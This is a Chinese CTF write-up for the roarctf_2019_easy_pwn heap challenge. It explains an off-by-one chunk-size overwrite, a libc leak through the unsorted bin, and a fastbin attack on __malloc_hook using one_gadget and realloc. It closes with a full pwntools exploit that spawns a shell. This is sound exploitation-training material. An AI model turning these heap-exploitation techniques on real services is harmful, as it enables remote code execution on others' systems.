保护全开
ida里就是这样的函数
creat函数
write函数
LODWORD是低字节的部分
free和show完美函数
也就是说只要第二次的size比第一次大就可以多写进一个字节的数据
首先我们要泄露libc的地址还是通过unsorted bin来泄露libc
这道题目保护全开,控制堆块在bss段上,我们怎么样去看bss段呢?
我们在ida里是知道偏移的距离,我们可以通过vmmap知道结构,第一个就是起始位置
或者我们可以 知道进程编号
cat /proc/[pip]/maps
creat(0x18)#0
creat(0x18)#1
creat(0x88)#2
creat(0x88)#3
creat(0x28)#4
creat(0x28)#5
creat(0x68)#6
creat(0x18)#7
payload = b'a'*0x18+p8(0xb1)
read(0,34,payload)
free(1)
#debug()
creat(0xa0)#1
#debug()
payload = b'a'*0x18+p8(0x91)
read(1,0x20,b'a'*0x18+p64(0x91))
#debug()
free(2)
show(1)
我们通过off by one 来实现
我们先free掉下一个堆块通过上一个堆块堆size进行改变然后通过create申请一个相同大小的堆块
原始申请的堆块位置
先free后通过前一个堆块修改size,两张图不是同次进行,位置不一样
我们要让堆块恢复到我们最开始预想那样
0x91 不进fast bin,然后我们free掉这个堆块,因为可以show上一个堆块从而泄露出这个堆块的内容
然后第二部分就是fast bin attack
要在malloc_hook 附近进行伪造bin,组合拳
payload =p64(0)*5+p8(0xa1)
read(4,50,payload)
free(5)
#debug()
free(6)
creat(0x90)#2
payload =p64(0)*5+p64(0x71)+p64(malloc_hook-27-8)
read(2,0x38,payload)
creat(0x60)#5
creat(0x60)#6
payload=b'a'*11+p64(one_gadget)+p64(realloc+2)
read(6,27,payload)
#gdb.attach(io)
creat(255)
这里onegadget打不通,onegadget是要满足栈帧条件的
https://blog.csdn.net/Maxmalloc/article/details/102535427
参考这篇博客
就是要改变esp,多个push和少个push就相差很大
所以我们的目的就是malloc->malloc_hook->realloc->realloc_hook
realloc_hook与malloc_hook就相差0x8
from pwn import*
from LibcSearcher import*
#context.log_level = 'debug'
#context.arch = 'amd64'
io =process('./roarctf_2019_easy_pwn')
#io = remote("node4.buuoj.cn",29489)
elf = ELF('./roarctf_2019_easy_pwn')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc = ELF('libc-2.23.so')
def debug():
gdb.attach(io)
pause()
def creat(size):
io.recvuntil('choice: ')
io.sendline('1')
io.recvuntil('size: ')
io.sendline(str(size))
def read(index,size,value):
io.recvuntil('choice: ')
io.sendline('2')
io.recvuntil('index: ')
io.sendline(str(index))
io.recvuntil('size: ')
io.sendline(str(size))
io.recvuntil('content: ')
io.send(value)
def free(id):
io.recvuntil('choice: ')
io.sendline('3')
io.recvuntil('index: ')
io.sendline(str(id))
def show(id):
io.recvuntil('choice: ')
io.sendline('4')
io.recvuntil('index: ')
io.sendline(str(id))
creat(0x18)#0
creat(0x18)#1
creat(0x88)#2
creat(0x88)#3
creat(0x28)#4
creat(0x28)#5
creat(0x68)#6
creat(0x18)#7
#debug()
payload = b'a'*0x18+p8(0xb1)
read(0,34,payload)
free(1)
#debug()
creat(0xa0)#1
#debug()
payload = b'a'*0x18+p8(0x91)
read(1,0x20,b'a'*0x18+p64(0x91))
#debug()
free(2)
show(1)
io.recvuntil('content: ')
io.recv(0x20)
libcbase = u64(io.recv(8))-88-0x3C4B20
log.success("address:"+hex(libcbase))
malloc_hook = libcbase+libc.sym['__malloc_hook']
realloc =libcbase+libc.sym['__libc_realloc']
log.success('malloc_hook:'+hex(malloc_hook))
log.success('realloc:'+hex(realloc))
one_gadget = libcbase+0x4527a
payload =p64(0)*5+p8(0xa1)
read(4,50,payload)
free(5)
#debug()
free(6)
creat(0x90)#2
payload =p64(0)*5+p64(0x71)+p64(malloc_hook-27-8)
read(2,0x38,payload)
creat(0x60)#5
creat(0x60)#6
payload=b'a'*11+p64(one_gadget)+p64(realloc+2)
read(6,27,payload)
debug()
#gdb.attach(io)
creat(255)
#pause()
#debug()
io.interactive()